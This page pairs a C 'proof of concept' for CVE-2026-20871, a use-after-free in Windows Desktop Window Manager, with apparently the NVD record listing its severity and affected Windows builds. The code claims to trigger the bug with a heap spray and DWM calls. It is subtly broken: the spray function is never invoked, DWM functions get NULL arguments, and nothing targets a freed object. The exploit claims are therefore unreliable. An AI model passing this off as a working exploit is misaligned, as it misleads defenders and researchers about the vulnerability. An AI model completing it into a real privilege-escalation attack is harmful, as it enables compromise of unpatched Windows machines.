CVE-2026-20871

// CVE-2026-20871 PoC - Desktop Windows Manager Use-After-Free // This is a conceptual PoC for educational purposes only #include <windows.h> #include <winuser.h> #include <stdio.h> // Function to trigger Desktop Window Manager interaction void TriggerDWMInteraction() { // Enumerate windows to interact with DWM HWND hwnd = GetForegroundWindow(); if (hwnd) { // Send messages that interact with DWM PostMessage(hwnd, WM_PAINT, 0, 0); PostMessage(hwnd, WM_ERASEBKGND, 0, 0); // Trigger DWM composition DwmExtendFrameIntoClientArea(hwnd, NULL); DwmGetColorizationColor(NULL, NULL); } } // Heap spray technique to allocate controlled memory void HeapSpray(size_t targetSize, PVOID payload, size_t payloadSize) { PVOID* sprayBuffer = (PVOID*)VirtualAlloc(NULL, targetSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (sprayBuffer) { // Fill with controlled values to prepare memory layout for (size_t i = 0; i < targetSize / sizeof(PVOID); i++) { sprayBuffer[i] = payload; } // Trigger the use-after-free condition TriggerDWMInteraction(); VirtualFree(sprayBuffer, 0, MEM_RELEASE); } } int main() { printf("CVE-2026-20871 PoC - DWM Use-After-Free\n"); printf("Target: Windows Desktop Windows Manager\n"); // Create window to interact with DWM WNDCLASS wc = {0}; wc.lpfnWndProc = DefWindowProc; wc.hInstance = GetModuleHandle(NULL); wc.lpszClassName = "DWMUAFTest"; if (RegisterClass(&wc)) { HWND hwnd = CreateWindow(wc.lpszClassName, "Test", WS_OVERLAPPEDWINDOW, 0, 0, 800, 600, NULL, NULL, wc.hInstance, NULL); if (hwnd) { ShowWindow(hwnd, SW_SHOW); UpdateWindow(hwnd); // Trigger the vulnerability TriggerDWMInteraction(); // Wait for processing Sleep(1000); DestroyWindow(hwnd); } } printf("PoC execution completed\n"); return 0; }

{"cve": {"id": "CVE-2026-20871", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:16.810", "lastModified": "2026-01-15T15:48:21.813", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Desktop Windows Manager allows an authorized attacker to elevate privileges locally."}, {"lang": "es", "value": "Uso después de liberar en el Administrador de ventanas de escritorio permite a un atacante autorizado elevar privilegios localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6809", "matchCriteriaId": "1895E186-5B2E-43CC-AF1F-B5C95419D8C5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6809", "matchCriteriaId": "B7CB5184-1BA1-4D71-8AE3-CF4C6B63A469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6491", "matchCriteriaId": "8D675DAA-4DCE-4727-BE5F-C954BBD252C4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "D249551B-1433-4E5E-A587-40F782E91E09"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "22082D4E-E68F-4E48-98FB-42DFDEE2E2A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4648", "matchCriteriaId": "C4AA6991-DE34-48F6-AFD3-77CEE7FBB692"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2092", "matchCriteriaId": "BA5947E0-C44C-4517-A307-DA79752F30A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.32230", "matchCriteriaId": "D44880ED-E8E9-49A8-BD56-503C63D40000"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20871", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}